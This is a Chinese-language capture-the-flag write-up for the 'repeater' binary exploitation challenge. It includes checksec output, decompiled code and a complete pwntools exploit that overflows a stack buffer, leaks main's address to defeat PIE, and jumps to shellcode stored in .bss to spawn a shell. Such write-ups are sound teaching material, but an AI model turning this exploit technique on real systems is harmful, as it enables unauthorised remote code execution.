攻防世界-repeater Writeup
拿到这道题的第一时间不是然后cyclic去爆偏移量,先甩ida里面分析一下:
其实还应该先看一下保护情况;
# zhailin @ DESKTOP-4OQQP8F in ~/CTF-Pwn/adworld/repeater [19:26:32]
$ checksec repeater
[*] '/home/zhailin/CTF-Pwn/adworld/repeater/repeater'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segmentsida中main函数:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_BYTE s[32]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]
sub_91B();
sub_A08();
v5 = 1192227;
puts("I can repeat your input.......");
puts("Please give me your name :");
memset(byte_202040, 0, sizeof(byte_202040));
sub_982(byte_202040, 48);
for ( i = 0; i < v5; ++i )
{
printf("%s's input :", byte_202040);
memset(s, 0, sizeof(s));
read(0, s, 0x40u);
puts("sorry... I can't.....");
if ( v5 == 3281697 )
{
puts("But there is gift for you :");
printf("%p\n", main);
}
}
return 0;
}其中:
printf("%s's input :", byte_202040);我们输入的name被存储到了.bss段;
由于这个题的函数列表中没有给出 system() 函数,因此在 .bss 段上写入 "/bin/sh" 再通过 system() 函数来调用执行的方法是不行了;不过可以考虑在 .bss 段上写入 shellcode,让程序跳转到这里来执行 shellcode
但是这个题开启了 PIE 地址随机化,因此在 IDA 中看到的地址并不是程序中真实的地址,而是偏移地址
所以即使将 shellcode 写入到 0x202040 的地址上,也并不知道 shellcode 在程序中存放的真实地址,需要先确定程序的基地址,就可以通过 真实地址 = 基地址 + 偏移地址 计算出来
观察到 for 循环中会打印出 main() 函数的地址【这个是函数在程序中的真实地址】
但是打印 main() 函数的地址需要 v5 == 3281697,而程序中定义的是 v5 = 1192227
注意到还有一个 read() 函数进行输入,将输入存储到 s 中,输入的长度为 0x40
整体思路如下:
- 把shellcode输给name
- 用read把v5覆盖并修改其值为3281697,这样程序就会泄露出main函数真实地址
- ida中main函数的地址是其偏移地址,于是可以通过真实地址 - 偏移地址 = 程序的基地址
- 在ida中找到shellcode的偏移地址,通过上一条得到shellcode的真实地址,利用read函数覆盖函数返回地址为shellcode的地址,这样就用getshell辣
exp:
from pwn import *
sh = remote('host',port)
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
sh.sendlineafter('name :',shellcode)
num = 3281697
payload = b'A'*0x20 + p64(num)
sh.sendlineafter('input :',payload)
sh.recvuntil('you :\n0x')
main_addr = int(sh.recv(12),16)
shellcode_addr = main_addr + 0x202040 - 0xa33
payload2 = b'A'*32 + p64(0xdeadbeef) + b'B'*16 + p64(shellcode_addr)
sh.sendlineafter('input :',payload2)
sh.interactive()攻防世界-repeater Writeup
https://zer0ptr.github.io/2025/12/13/adworld-repeater-wp/